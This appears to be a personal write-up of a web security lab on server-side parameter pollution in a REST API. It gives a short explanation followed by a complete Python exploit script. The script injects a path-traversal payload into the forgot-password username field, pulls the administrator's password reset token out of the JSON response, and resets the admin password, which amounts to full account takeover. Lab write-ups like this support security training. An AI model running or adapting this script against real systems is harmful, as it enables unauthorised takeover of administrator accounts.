Exploiting server-side parameter pollution in a REST URL

đź•— 21-April-2025

📚 What I Learned

In this lab, I explored how server-side parameter pollution (SSPP) can impact REST API endpoints. The vulnerability stemmed from how the server processed multiple parameters—particularly when using path traversal techniques in user-controlled input. By injecting a crafted payloads into a form field, I was able to access internal object properties not intended for exposure. This led to the retrieval of the admin’s password reset token and ultimately a full account takeover.

Additionally, the challenge reinforced the importance of inspecting JavaScript files used by the web application. One of the JS files revealed the internal API structure and helped uncover how parameters were handled by the backend, which was crucial for crafting the payload. It’s a reminder that client-side JavaScript can leak sensitive implementation details useful for attackers.

⚙️ How Exploit Works

[+] Start Burp Suite before running the script — it uses a proxy for visibility.
[+] Visit the "Forgot Password" page and request a reset token.
[+] Revisit the page and inject a polluted path as the username:
../../v1/users/administrator/field/passwordResetToken#.
[+] The server returns the reset token in the JSON response.
[+] Use the token to reset the admin password and take control of the account.

🖥️ Command to Run

python3 exploit.py https://<your-lab-id>.web-security-academy.net

import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import json

# Disable SSL warnings (Burp Suite, lab environments)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Proxy configuration
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def get_csrf_token(session, base_url):
    """
    Fetch the CSRF token from the forgot-password page.
    """
    uri = '/forgot-password'
    response = session.get(base_url + uri, verify=False, proxies=proxies)
    soup = BeautifulSoup(response.text, 'html.parser')
    csrf = soup.find("input", {"name": "csrf"})['value']
    return csrf

def initial_request(session, base_url, csrf):
    """
    Submit the normal forgot-password request to trigger token generation.
    """
    uri = '/forgot-password'
    data = {
        "csrf": csrf,
        "username": "administrator"
    }
    session.post(base_url + uri, data=data, verify=False, proxies=proxies)

def exploit_api(session, base_url, csrf):
    """
    Exploit path traversal to retrieve the password reset token.
    """
    uri = '/forgot-password'
    payload = "../../v1/users/administrator/field/passwordResetToken%23"
    data = {
        "csrf": csrf,
        "username": payload
    }

    response = session.post(base_url + uri, data=data, verify=False, proxies=proxies)

    try:
        result = response.json()
        token = result['result']
        return token
    except (ValueError, KeyError) as e:
        print("[-] Failed to extract token from JSON response.")
        print(f"[-] Raw response: {response.text}")
        sys.exit(1)

def reset_password(session, base_url, token, csrf):
    """
    Reset the administrator's password using the extracted token.
    """
    uri = f'/forgot-password?passwordResetToken={token}'
    data = {
        "csrf": csrf,
        "passwordResetToken": token,
        "new-password-1": "Password@123",
        "new-password-2": "Password@123"
    }

    response = session.post(base_url + uri, data=data, verify=False, proxies=proxies)

    if "Password successfully changed" in response.text or response.status_code == 200:
        print("[+] Password reset successful!")
        print("[+] Use the following credentials to log in:")
        print("    Username: administrator")
        print("    Password: Password@123")
    else:
        print("[-] Password reset may have failed.")
        print(response.text)

if __name__ == "__main__":
    try:
        url = sys.argv[1].strip()
    except IndexError:
        print(f"[-] Usage: python {sys.argv[0]} <url>")
        print(f"[-] Example: python {sys.argv[0]} https://target.com")
        sys.exit(1)

    session = requests.Session()

    # Step 1: Get CSRF token
    csrf_token = get_csrf_token(session, url)

    # Step 2: Trigger generation of password reset token
    initial_request(session, url, csrf_token)

    # Step 3: Re-fetch CSRF token (in case it's regenerated)
    csrf_token = get_csrf_token(session, url)

    # Step 4: Exploit to retrieve the reset token
    reset_token = exploit_api(session, url, csrf_token)

    # Step 5: Use the token to reset the password
    reset_password(session, url, reset_token, csrf_token)